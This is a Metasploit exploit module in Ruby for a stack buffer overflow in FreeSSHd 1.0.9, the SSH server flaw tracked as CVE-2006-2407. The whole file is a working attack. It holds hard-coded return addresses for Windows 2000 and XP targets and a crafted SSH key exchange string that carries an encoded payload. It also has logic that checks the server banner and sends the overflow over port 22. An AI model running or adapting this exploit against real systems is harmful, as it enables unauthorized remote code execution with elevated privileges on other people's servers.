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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
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        'Description' => %q{
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          This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.
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          This flaw is due to a buffer overflow error when handling a specially
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          crafted key exchange algorithm string received from an SSH client.
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        },
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        'Author' => 'MC',
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2006-2407'],
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          ['OSVDB', '25463'],
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          ['BID', '17958'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
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          [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ],
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          [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ],
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2006-05-12',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(22)
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      ]
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    )
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  end
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  def exploit
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    connect
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    sploit = "SSH-2.0-OpenSSH_3.9p1"
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    sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
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    sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
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    sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
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    sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
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    res = sock.recv(22)
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    if (res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
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      print_status("Trying target #{target.name}...")
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      sock.put(sploit)
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    else
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      print_status("Not running a vulnerable version...")
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    end
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    handler
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    disconnect
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  end
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end
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